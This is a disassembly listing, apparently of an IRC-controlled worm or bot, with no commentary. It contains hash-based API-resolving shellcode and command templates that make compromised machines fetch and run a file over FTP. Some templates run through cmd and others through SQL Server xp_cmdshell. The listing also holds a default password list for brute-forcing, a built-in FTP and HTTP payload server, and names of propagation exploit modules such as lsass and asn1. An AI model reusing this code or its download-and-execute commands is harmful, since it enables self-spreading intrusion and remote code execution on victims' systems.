		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		xor	ebx, ebx
		mov	eax, 42904290h


loc_420117:				; CODE XREF: sub_420108+1Aj
		xor	ecx, ecx
		mov	cl, 2
		mov	edi, ebx
		repe scasd
		jz	short loc_420124
		inc	ebx
		jmp	short loc_420117
; ---------------------------------------------------------------------------


loc_420124:				; CODE XREF: sub_420108+17j
		mov	[esi+10h], edi
		pop	dword ptr fs:[edx]
		pop	eax
		popa
		retn
sub_420108	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_42012D	proc near		; CODE XREF: sub_420068+1Ep
		pusha
		mov	edi, 7FFDF020h
		mov	ebx, [edi]
		mov	eax, [esi+8]
		mov	[edi], eax
		mov	edi, [edi-8]
		add	edi, 178h
		mov	ecx, edi


loc_420145:				; CODE XREF: sub_42012D+1Ej
		cmp	[ecx], ebx
		jz	short loc_42014D
		mov	ecx, [ecx]
		jmp	short loc_420145
; ---------------------------------------------------------------------------


loc_42014D:				; CODE XREF: sub_42012D+1Aj
		mov	edx, edi


loc_42014F:				; CODE XREF: sub_42012D+2Aj
		cmp	[edx+4], ebx
		jz	short loc_420159
		mov	edx, [edx+4]
		jmp	short loc_42014F
; ---------------------------------------------------------------------------


loc_420159:				; CODE XREF: sub_42012D+25j
		mov	[ecx], edx
		mov	[edx+4], ecx
		mov	byte ptr [ebx-3], 1
		popa
		retn
sub_42012D	endp


; =============== S U B	R O U T	I N E =======================================



sub_420164	proc near		; CODE XREF: sub_420068+Ap
		mov	eax, ds:7FFDF00Ch
		mov	eax, [eax+1Ch]
		mov	ebx, [eax+8]
		mov	[esi], ebx
		mov	eax, [eax]
		mov	eax, [eax+8]
		mov	[esi+4], eax
		retn
sub_420164	endp


; =============== S U B	R O U T	I N E =======================================



sub_42017A	proc near		; CODE XREF: sub_420068+16p
					; sub_420068+2Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	ebp, [esp+20h+arg_4]
		mov	eax, [ebp+3Ch]
		mov	edx, [ebp+eax+78h]
		add	edx, ebp
		mov	ecx, [edx+18h]
		mov	ebx, [edx+20h]
		add	ebx, ebp


loc_420190:				; CODE XREF: sub_42017A+33j
		jecxz	short loc_4201CA
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	edi, edi
		xor	eax, eax
		cld


loc_42019D:				; CODE XREF: sub_42017A+2Dj
		lodsb
		cmp	al, ah
		jz	short loc_4201A9
		ror	edi, 0Dh
		add	edi, eax
		jmp	short loc_42019D
; ---------------------------------------------------------------------------


loc_4201A9:				; CODE XREF: sub_42017A+26j
		cmp	edi, [esp+20h+arg_0]
		jnz	short loc_420190
		mov	ebx, [edx+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edx+1Ch]
		add	ebx, ebp
		mov	eax, [ebx+ecx*4]
		add	eax, ebp
		mov	[esp+20h+var_4], eax
		popa
		retn	8
; ---------------------------------------------------------------------------


loc_4201CA:				; CODE XREF: sub_42017A:loc_420190j
					; sub_42017A:loc_4201CAj
		jmp	short loc_4201CA
sub_42017A	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4201D0	proc near		; DATA XREF: seg000:0040332Ao

arg_0		= dword	ptr  4

		add	esp, 0FFFFF254h
		cld
		call	sub_420222
		mov	eax, [ebp+3Ch]
		mov	edi, [ebp+eax+78h]
		add	edi, ebp
		mov	ecx, [edi+18h]
		mov	ebx, [edi+20h]
		add	ebx, ebp


loc_4201ED:				; CODE XREF: sub_4201D0+38j
		jecxz	short loc_42021D
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	eax, eax
		cdq


loc_4201F8:				; CODE XREF: sub_4201D0+32j
		lodsb
		test	al, al
		jz	short loc_420204
		ror	edx, 0Dh
		add	edx, eax
		jmp	short loc_4201F8
; ---------------------------------------------------------------------------


loc_420204:				; CODE XREF: sub_4201D0+2Bj
		cmp	edx, [esp+arg_0]
		jnz	short loc_4201ED
		mov	ebx, [edi+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edi+1Ch]
		add	ebx, ebp
		mov	ebx, [ebx+ecx*4]
		add	ebx, ebp


loc_42021D:				; CODE XREF: sub_4201D0:loc_4201EDj
		mov	[esp+arg_0], ebx
		retn
sub_4201D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_420222	proc near		; CODE XREF: sub_4201D0+7p

; FUNCTION CHUNK AT 0042025A SIZE 00000007 BYTES

		xor	eax, eax
		mov	eax, fs:[eax+30h]
		test	eax, eax
		js	short loc_42023B
		mov	eax, [eax+0Ch]
		mov	esi, [eax+1Ch]
		lodsd
		mov	ebp, [eax+8]
		jmp	loc_420246
; ---------------------------------------------------------------------------


loc_42023B:				; CODE XREF: sub_420222+8j
		mov	eax, [eax+34h]
		add	eax, 7Ch
		mov	ebp, [eax+3Ch]


loc_420246:				; CODE XREF: sub_420222+14j
		pop	edi
		xor	esi, esi
		pusha
		push	esi
		jmp	short loc_42025A
sub_420222	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_42024D	proc near		; CODE XREF: sub_420222:loc_42025Ap
		push	60E0CEEFh
		push	0E8AFE98h
		push	edi
		jmp	edi
sub_42024D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_420222


loc_42025A:				; CODE XREF: sub_420222+29j
		call	sub_42024D


loc_42025F:				; DATA XREF: sub_402AA0+1Bo
					; seg000:0040A910o ...
		add	[ebx], ah
; END OF FUNCTION CHUNK	FOR sub_420222
; ---------------------------------------------------------------------------
		db 3 dup(0)
dword_420264	dd 60h		dword_420268	dd 62B0606h, 2050501h, 0A0hdword_420274	dd 30h							; seg002:00424798o ...
dword_420278	dd 0A1h		dword_42027C	dd 3		aCccc		db 'CCCC',0             ; DATA XREF: sub_402AFB+153o
		align 4


loc_420288:				; DATA XREF: sub_402AFB+E8o
		jmp	short near ptr dword_420290
; ---------------------------------------------------------------------------
		align 10h
dword_420290	dd 0		dword_420294	dd 2F2F7325h, 2E732520h, 0aCmdKEchoOpenSD	db 'cmd /k echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &'
					; DATA XREF: seg000:0040334Fo
		db 'echo quit >> o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0
aExecMaster___0	db 'EXEC master..xp_cmdshell ',27h,'%s',27h,0 ; DATA XREF: sub_4038FB+1A9o
		align 10h
; aExecMaster(long long, *)
aExecMaster__xp	db 'EXEC master..xp_cmdshell ',27h,'del eq&echo open %s %d >> eq&echo us'
					; DATA XREF: sub_4038FB+175o
		db 'er %d %d >> eq &echo get %s >> eq &echo quit >> eq &ftp -n -s:eq '
		db '&%s&del eq',0Dh,0Ah
		db 27h,0
		align 10h
aDriverSqlServe	db 'DRIVER={SQL Server};SERVER=%s,%d;UID=%s;PWD=%s;%s',0
					; DATA XREF: sub_4038FB+E1o
		align 4
aVb		db 'vb',0               ; DATA XREF: sub_4038FB+44o
		align 4
aSql		db 'sql',0              ; DATA XREF: sub_4038FB+3Do
aPassword	db 'password',0         ; DATA XREF: sub_4038FB+36o
		align 4
aAdmin		db 'admin',0            ; DATA XREF: sub_4038FB+2Fo
					; seg002:0042450Co
		align 10h
aSa		db 'sa',0               ; DATA XREF: sub_4038FB+24o
		align 4
aRoot		db 'root',0             ; DATA XREF: sub_4038FB+12o
					; seg002:00424514o ...
		align 4
a221GoodbyeHapp	db '221 Goodbye happy r00ting.',0Ah,0 ; DATA XREF: sub_403BAC+5CDo
aQuit		db 'QUIT',0             ; DATA XREF: sub_403BAC+5B9o
					; seg000:0040A6B2o
		align 10h
a425CanTOpenDat	db '425 Can',27h,'t open data connection.',0Ah,0
					; DATA XREF: sub_403BAC+5ACo
		align 4
dword_420464	dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
					; DATA XREF: sub_403BAC+561o
		dd 2029206Ch, 2BBBB02h
aFileSentToSOnP	db '  File sent to %s on port %d, now executing %s on remote machine.'
		db 0
		align 4
a226TransferC_0	db '226 Transfer complete.',0Ah,0 ; DATA XREF: sub_403BAC+542o
a150OpeningBina	db '150 Opening BINARY mode data connection',0Ah,0
					; DATA XREF: sub_403BAC+516o
		align 4
aRetr		db 'RETR',0             ; DATA XREF: sub_403BAC+4FEo
		align 10h
a200PortCommand	db '200 PORT command successful.',0Ah,0 ; DATA XREF: sub_403BAC+4E9o
		align 10h
aS_S_S_S	db '%s.%s.%s.%s',0      ; DATA XREF: sub_403BAC+4D8o
aXX		db '%x%x',0Ah,0         ; DATA XREF: sub_403BAC+4A5o
		align 4
aS		db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: sub_403BAC+464o
		db ']',0
aPort		db 'PORT',0             ; DATA XREF: sub_403BAC+42Bo
		align 4
a226TransferCom	db '226 Transfer complete',0Ah,0 ; DATA XREF: sub_403BAC+3FDo
		align 4
aList		db 'LIST',0             ; DATA XREF: sub_403BAC+3EAo
		align 4
a425PassiveNotS	db '425 Passive not supported on this server',0Ah,0
					; DATA XREF: sub_403BAC+3AFo
		align 10h
aPasv		db 'PASV',0             ; DATA XREF: sub_403BAC+39Co
		align 4
a200TypeSetToI_	db '200 Type set to I.',0Ah,0 ; DATA XREF: sub_403BAC+38Co
aI:					; DATA XREF: sub_403BAC+378o
		unicode	0, <I>,0
a200TypeSetToA_	db '200 Type set to A.',0Ah,0 ; DATA XREF: sub_403BAC+351o
aA:					; DATA XREF: sub_403BAC+33Do
		unicode	0, <A>,0
aType		db 'TYPE',0             ; DATA XREF: sub_403BAC+326o
					; sub_403BAC+361o
		align 10h
a257IsCurrentDi	db '257 "/" is current directory.',0Ah,0 ; DATA XREF: sub_403BAC+316o
		align 10h
off_420620	dd offset dword_445750	; DATA XREF: sub_403BAC+302o
a350Restarting_	db '350 Restarting.',0Ah,0 ; DATA XREF: sub_403BAC+2F2o
		align 4
aRest		db 'REST',0             ; DATA XREF: sub_403BAC+2DEo
		align 10h
a215Fuckftpd	db '215 fuckFtpd',0Ah,0 ; DATA XREF: sub_403BAC+2CEo
		align 10h
aSyst		db 'SYST',0             ; DATA XREF: sub_403BAC+2BAo
		align 4
a230UserLoggedI	db '230 User logged in.',0Ah,0 ; DATA XREF: sub_403BAC+2AAo
		align 10h
aPass		db 'PASS',0             ; DATA XREF: sub_403BAC+296o
		align 4
a331PasswordReq	db '331 Password required',0Ah,0 ; DATA XREF: sub_403BAC+286o
		align 10h
aUser_0		db 'USER',0             ; DATA XREF: sub_403BAC+271o
					; seg002:00424544o ...
		align 4
aSS_1		db '%s %s',0            ; DATA XREF: sub_403BAC+260o
		align 10h
a220Fuckftpd0wn	db '220 fuckFtpd 0wns j0',0Ah,0 ; DATA XREF: sub_403BAC+1D8o
		align 4
aRb		db 'rb',0               ; DATA XREF: seg000:00404250o
					; sub_4053E1+12Eo ...
		align 4
unk_4206BC	db    2			; DATA XREF: sub_4042C6+3F8o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorServerFai	db 'Error: server failed, returned: <%d>.',0
		align 4
asc_420704	db 0Dh,0Ah,0		; DATA XREF: sub_4042C6+2CFo
		align 4
asc_420708:				; DATA XREF: sub_4042C6+293o
					; seg000:0040A238o ...
		unicode	0, < >,0
aGet		db 'GET ',0             ; DATA XREF: sub_4042C6+269o
		align 4
aHttp1_0200OkSe	db 'HTTP/1.0 200 OK',0Dh,0Ah
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Content-Length: %i',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHttp1_0200Ok_0	db 'HTTP/1.0 200 OK',0Dh,0Ah
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
aHhMmSs		db 'HH:mm:ss',0         ; DATA XREF: seg000:004047B8o
					; sub_40888C+1AEo
		align 4
aDddDdMmmYyyy	db 'ddd, dd MMM yyyy',0 ; DATA XREF: seg000:004047A4o
		align 10h
aApplicationOct	db 'application/octet-stream',0 ; DATA XREF: seg000:loc_404786o
		align 4
aTextHtml	db 'text/html',0        ; DATA XREF: seg000:0040477Fo
		align 4
unk_420928	db    2			; DATA XREF: seg000:00404B32o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToStartW	db 'Failed to start worker thread, error: <%d>.',0
unk_420974	db    2			; DATA XREF: seg000:00404AAEo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aWorkerThreadOf	db 'Worker thread of server thread: %d.',0
asc_4209B8:				; DATA XREF: seg000:004049FAo
					; seg002:004261DCo
		unicode	0, <*>,0
asc_4209BC:				; DATA XREF: seg000:0040499Eo
					; seg000:00404B7Co ...
		dw 0Ah
		unicode	0, <>,0
aSS_2		db '%s%s',0             ; DATA XREF: seg000:0040498Do
					; seg000:0040501Do
		align 4
aS_1		db '%s',0               ; DATA XREF: seg000:004048DDo
					; seg000:loc_408428o ...
		align 4
aS_2		db '\%s',0              ; DATA XREF: seg000:004048D2o
aFoundIFilesAnd	db 'Found: %i Files and %i Directories',0Dh,0Ah,0
					; DATA XREF: seg000:004051A1o
		align 4
aTrTdColspan3_0	db '<TR>',0Dh,0Ah       ; DATA XREF: seg000:00405186o
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah
		db '</TABLE>',0Dh,0Ah
		db '</BODY>',0Dh,0Ah
		db '</HTML>',0Dh,0Ah,0
		align 10h
aPrivmsgSFoundS	db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
					; DATA XREF: seg000:0040516Bo
		align 10h
a31s21sIBytes	db '%-31s  %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: seg000:004050DCo
		align 4
aTdTdWidthDCo_0	db '</TD>',0Dh,0Ah      ; DATA XREF: seg000:004050B4o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
aCodeSCodeA_0	db '"><CODE>%s</CODE></A>',0 ; DATA XREF: seg000:loc_40506Bo
		align 4
aCode_30sGtCode	db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: seg000:00405064o
		align 4
aPrivmsgS31s2_0	db 'PRIVMSG %s :%-31s  %-21s (%s bytes)',0Ah,0 ; DATA XREF: seg000:00404FC4o
		align 4
a31s21s		db '%-31s  %-21s',0Dh,0Ah,0 ; DATA XREF: seg000:00404F87o
		align 4
aTdTdWidthDCode	db '</TD>',0Dh,0Ah      ; DATA XREF: seg000:00404F54o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aCodeSCodeA	db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: seg000:loc_404F15o
		align 4
aCode_29sGtCode	db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: seg000:00404F0Eo
		align 4
aSS		db '%s%s/',0            ; DATA XREF: seg000:00404EC7o
		align 4
aTrTdWidthDAHre	db '<TR>',0Dh,0Ah       ; DATA XREF: seg000:00404E83o
					; seg000:00404FD9o
		db '<TD WIDTH="%d"><A HREF="',0
		align 4
aPrivmsgS31s21s	db 'PRIVMSG %s :%-31s  %-21s',0Ah,0 ; DATA XREF: seg000:00404E61o
		align 4
aS_0		db '<%s>',0             ; DATA XREF: seg000:loc_404E37o
					; seg000:00404F66o
		align 10h
a2_2d2_2d4d2_2d	db '%2.2d/%2.2d/%4d  %2.2d:%2.2d %s',0 ; DATA XREF: seg000:00404E0Do
aAm		db 'AM',0               ; DATA XREF: seg000:00404DE3o
		align 4
aPm		db 'PM',0               ; DATA XREF: seg000:00404DD8o
		align 4
a__0:					; DATA XREF: seg000:00404DA0o
		unicode	0, <.>,0
a__		db '..',0               ; DATA XREF: seg000:00404D85o
		align 10h
aTrTdColspan3AH	db '<TR>',0Dh,0Ah       ; DATA XREF: seg000:00404D13o
		db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
		db 'D>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aSearchingForS	db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: seg000:00404C9Ao
aTrTdColspan3Hr	db '<TR>',0Dh,0Ah       ; DATA XREF: seg000:00404C7Eo
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aTrTdWidthDCode	db '<TR>',0Dh,0Ah       ; DATA XREF: seg000:00404C4Ao
		db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 10h
aH1IndexOfSH1Ta	db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: seg000:00404C00o
		db '<TABLE BORDER="0">',0Dh,0Ah,0
		align 4
aHtmlHeadTitleI	db '<HTML>',0Dh,0Ah     ; DATA XREF: seg000:00404BCBo
		db '<HEAD>',0Dh,0Ah
		db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
		db '</HEAD>',0Dh,0Ah
		db '<BODY>',0Dh,0Ah,0
		align 4
aPrivmsgSSearch	db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: seg000:00404B9Eo
aSSHttp1_1Refer	db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_4052C0+8Fo
		db 'Referer: %s',0Ah
		db 'Host: %s',0Ah
		db 'Connection: close',0Ah
		db 0Ah,0
dword_420E74	dd 4000500h, 7868746Bh,	0dword_420E80	dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
					; DATA XREF: sub_4053E1+47Fo
		dd 2029206Ch, 2BBBB02h
aFileSentToSExe	db '  File sent to %s, executing %s on remote machine.',0
		align 10h
unk_420ED0	db    2			; DATA XREF: sub_4053E1+3B6o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  74h	; t
		db 66h,	74h, 70h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFileNotFoundOn	db '  File not found on %s, (%s).',0
		align 4
dword_420F0C	dd 1000500h, 656C6946h,	746F4E20h, 756F4620h, 646Eh
					; DATA XREF: sub_4053E1+399o
unk_420F20	db    2			; DATA XREF: sub_4053E1+33Eo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFileSentToSE_0	db 'File sent to %s, executing %s on remote machine.',0
		align 4
unk_420F74	db    2			; DATA XREF: sub_4053E1+15Ao
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToOpenFi	db 'Failed to open file: %s (possible virus scan!)',0
		align 4
unk_420FC4	db    2			; DATA XREF: sub_4053E1+6Ao
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorSocketF_1	db 'Error: socket() failed, returned: <%d>.',0
aOctet		db 'octet',0            ; DATA XREF: sub_4053E1+Fo
		align 8
aLsass445_0	db 'lsass445',0         ; DATA XREF: sub_405F2E+164o
		align 2
aLsass445	db 'lsass445',0         ; DATA XREF: seg000:004034C2o
		align 4
		dd 5 dup(0)
dword_421040	dd 1BDh							; seg000:0040CA0Br ...
off_421044	dd offset sub_4026D6	; DATA XREF: sub_405F2E+1E6r
dword_421048	dd 0							; sub_4026D6+1A3r ...
dword_42104C	dd 1		dword_421050	dd 1		aLsass135	db 'lsass135',0
		align 2
aLsass135_0	db 'lsass135',0
		align 4
		dd 5 dup(0)
		dd 87h,	4026D6h, 0
		dd 2 dup(1), 7361736Ch,	39333173h, 736C0000h, 31737361h
		dd 3933h, 5 dup(0)
		dd 8Bh,	4026D6h, 0
		dd 2 dup(1), 7173736Dh,	6Ch, 736D0000h,	6C7173h, 6 dup(0)
		dd 599h, 4038FBh, 0
		dd 2 dup(1), 7361736Dh,	73h, 736D0000h,	737361h, 6 dup(0)
		dd 599h, 403B58h, 0
		dd 2 dup(1), 316E7361h,	70747468h, 73610000h, 7468316Eh
		dd 7074h, 5 dup(0)
		dd 50h,	4032FAh, 0
		dd 2 dup(1), 316E7361h,	626D73h, 73610000h, 6D73316Eh
		dd 62h,	5 dup(0)
		dd 1BDh, 4032FAh, 0
		dd 2 dup(1), 316E7361h,	6E626D73h, 73610074h, 6D73316Eh
		dd 746E62h, 5 dup(0)
		dd 8Bh,	4032FAh, 0
		dd 2 dup(1), 316E7361h,	6E626D73h
		db 74h,	0
byte_421202	db 1			; DATA XREF: seg000:loc_40E337r
					; seg000:0040E341o
aMsass		db 'msass',0
		align 4
		dd 100h, 3 dup(0)
aTotalDInS_	db ' Total: %d in %s.',0 ; DATA XREF: sub_4058D8+81o
		align 10h
aSD		db ' %s: %d,',0         ; DATA XREF: sub_4058D8+42o
		align 4
unk_42123C	db    2			; DATA XREF: sub_4058D8+11o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aExploitStatist	db '  Exploit Statistics:',0
		align 4
unk_421274	db    2			; DATA XREF: sub_4059A2+42o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aScanNotActive_	db '  Scan not active.',0
unk_4212A8	db    2			; DATA XREF: sub_4059A2+2Co
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aCurrentIpS_	db '  Current IP: %s.',0
		align 4
unk_4212DC	db    2			; DATA XREF: seg000:00405D88o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToStartS	db 'Failed to start server, error: <%d>.',0
		align 4
unk_421324	db    2			; DATA XREF: seg000:00405D20o
					; seg000:0040E87Fo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aServerListenin	db 'Server listening on IP: %s:%d, Directory: %s\.',0
		align 4
dword_421374	dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
					; DATA XREF: seg000:00405C80o
		dd 2029206Ch, 2BBBB02h
aFailedToStar_0	db '  Failed to start server, error: <%d>.',0
		align 4
dword_4213B8	dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
					; DATA XREF: seg000:00405C13o
		dd 2029206Ch, 2BBBB02h
aServerStartedO	db '  Server started on Port: %d, File: %s, Request: %s.',0
		align 4
unk_42140C	db    2			; DATA XREF: seg000:00405B62o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToStar_1	db 'Failed to start server, error: <%d>.',0
		align 4
unk_421454	db    2			; DATA XREF: seg000:00405AF4o
					; seg000:0040E709o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aServerStarte_0	db 'Server started on Port: %d, File: %s, Request: %s.',0
		align 4
aD_D_D_D	db '%d.%d.%d.%d',0      ; DATA XREF: sub_405DF5+38o
					; sub_407F2C+46o
unk_4214B4	db    2			; DATA XREF: sub_405F2E+EBo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aIpSPortDIsOpen	db '  IP: %s, Port %d is open.',0
unk_4214F0	db    2			; DATA XREF: sub_405F2E+93o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aIpSDScanThread	db '  IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
		align 10h
unk_421540	db    2			; DATA XREF: sub_406142+1CEo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
